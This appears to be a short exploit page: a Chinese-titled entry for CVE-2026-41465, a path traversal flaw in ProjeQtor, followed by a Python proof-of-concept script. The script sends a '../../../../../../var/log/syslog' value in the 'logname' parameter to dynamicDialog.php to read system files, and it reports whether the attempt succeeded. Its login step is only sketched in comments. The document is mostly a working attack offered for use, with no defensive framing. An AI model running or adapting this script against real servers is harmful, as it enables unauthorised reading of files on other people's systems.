CVE-2026-41465 ProjeQtor路径遍历漏洞

import requests # Target URL configuration target_url = "http://target-address/projeqtor/dynamicDialog.php" # Attacker credentials (required as per PR:L) username = "attacker" password = "password" # Payload to read a specific log file using path traversal # Attempting to read /var/log/syslog (Linux) payload = { "logname": "../../../../../../var/log/syslog" } # Create a session to handle authentication session = requests.Session() # 1. Perform Login (Logic depends on actual form, assuming standard) # login_data = {"login": username, "password": password} # session.post(f"{target_url}/login.php", data=login_data) print(f"[*] Attempting to exploit CVE-2026-41465 on {target_url}") try: # 2. Send the malicious request response = session.get(target_url, params=payload, timeout=10) # 3. Check if the response contains log content if response.status_code == 200 and "log" in response.text.lower(): print("[+] Exploit successful! Log file content extracted:") print(response.text[:500]) # Print first 500 chars else: print("[-] Exploit failed or file not found.") except Exception as e: print(f"[!] Error: {e}")